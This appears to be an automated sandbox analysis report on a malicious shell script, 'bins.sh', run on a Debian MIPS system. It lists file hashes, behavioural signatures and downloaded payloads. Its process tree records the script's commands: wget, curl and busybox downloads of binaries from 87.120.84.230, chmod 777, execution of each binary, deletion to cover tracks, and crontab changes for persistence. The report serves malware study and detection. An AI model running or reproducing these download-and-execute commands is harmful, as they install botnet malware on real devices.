Analysis

  • max time kernel
    151s
  • max time network
    157s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    04-11-2024 08:28

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    ac492d233d3526f64c5fd40d078150d1

  • SHA1

    6bb76a3db6c7c0d1711831fd8cbfe340a2c264ac

  • SHA256

    ee0ec26cc22e6c1c1a4c831a96684803d3ca076d715b02a46538b09172d6434a

  • SHA512

    b880791ffb529ff5a462b895b1b64aa52560533290a324362c6ab83a2354fa3d3d667288de875ba988aaabbb5070c462a2926c72178116d943dd60d6c89d6c31

  • SSDEEP

    96:ufMqhpoH7+JbInctVkhpoH7Izj6JVUf39t0jsr5:ufMMJb0c3u1

Malware Config

Signatures

  • Contacts a large (910) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:707
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:713
        • /usr/bin/wget
          wget http://87.120.84.230/bins/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • Writes file to tmp directory
          PID:717
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • Writes file to tmp directory
          PID:726
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • Writes file to tmp directory
          PID:736
        • /bin/chmod
          chmod 777 JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • File and Directory Permissions Modification
          PID:737
        • /tmp/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          ./JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • Executes dropped EXE
          PID:738
        • /bin/rm
          rm JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
            PID:741
          • /usr/bin/wget
            wget http://87.120.84.230/bins/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
            • Writes file to tmp directory
            PID:742
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
            • Writes file to tmp directory
            PID:743
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
            • Writes file to tmp directory
            PID:766
          • /bin/chmod
            chmod 777 h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
            • File and Directory Permissions Modification
            PID:770
          • /tmp/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            ./h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
            • Executes dropped EXE
            PID:771
          • /bin/rm
            rm h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
              PID:774
            • /usr/bin/wget
              wget http://87.120.84.230/bins/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
              • Writes file to tmp directory
              PID:776
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
              • Writes file to tmp directory
              PID:828
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
              • Writes file to tmp directory
              PID:829
            • /bin/chmod
              chmod 777 MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
              • File and Directory Permissions Modification
              PID:830
            • /tmp/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              ./MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
              • Executes dropped EXE
              PID:831
            • /bin/rm
              rm MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
                PID:833
              • /usr/bin/wget
                wget http://87.120.84.230/bins/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                2⤵
                • Writes file to tmp directory
                PID:834
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:835
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                2⤵
                • Writes file to tmp directory
                PID:836
              • /bin/chmod
                chmod 777 mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                2⤵
                • File and Directory Permissions Modification
                PID:837
              • /tmp/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                ./mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:838
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:840
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:841
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:842
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:843
                    • /bin/rm
                      rm mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                      2⤵
                        PID:845
                      • /usr/bin/wget
                        wget http://87.120.84.230/bins/EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                        2⤵
                          PID:848

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt

                        Filesize

                        177KB

                        MD5

                        786d75a158fe731feca3880f436082c0

                        SHA1

                        79ea2734e43d00cdeabed5586b2c1994d02aef3e

                        SHA256

                        5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                        SHA512

                        7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                      • /tmp/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF

                        Filesize

                        127KB

                        MD5

                        89077b7bd4bcafca7713be43635c4862

                        SHA1

                        fc02edb8fba29ea8ee99e6157ef8560334530052

                        SHA256

                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                        SHA512

                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                      • /tmp/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE

                        Filesize

                        119KB

                        MD5

                        1b166b95f9cb4b079ef1b9ec8363ddf3

                        SHA1

                        0d8eb08add467b3b5474f9b25909297fe7c2839c

                        SHA256

                        94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                        SHA512

                        983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                      • /tmp/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW

                        Filesize

                        151KB

                        MD5

                        3c90d5820bddcf7c5d1bd21dfa49d958

                        SHA1

                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                        SHA256

                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                        SHA512

                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                      • /var/spool/cron/crontabs/tmp.CL8SpY

                        Filesize

                        210B

                        MD5

                        68194d3c2fafe5a068103a01addc6ce3

                        SHA1

                        24684653ed4502b7f5426d56354f0ef46677c8c7

                        SHA256

                        f5ed5e2922fcc1cac737d3fb3206aae5724ff1bdaf98797c8d13d2fe2c1fc31c

                        SHA512

                        ea3067191a6057ef5a66c72ae09a748358d750b07baa75b745dbfbaba8949efac8a4b682678a7939e41251c7a185f5314cfc682f8d86ed468a61b21003cc6101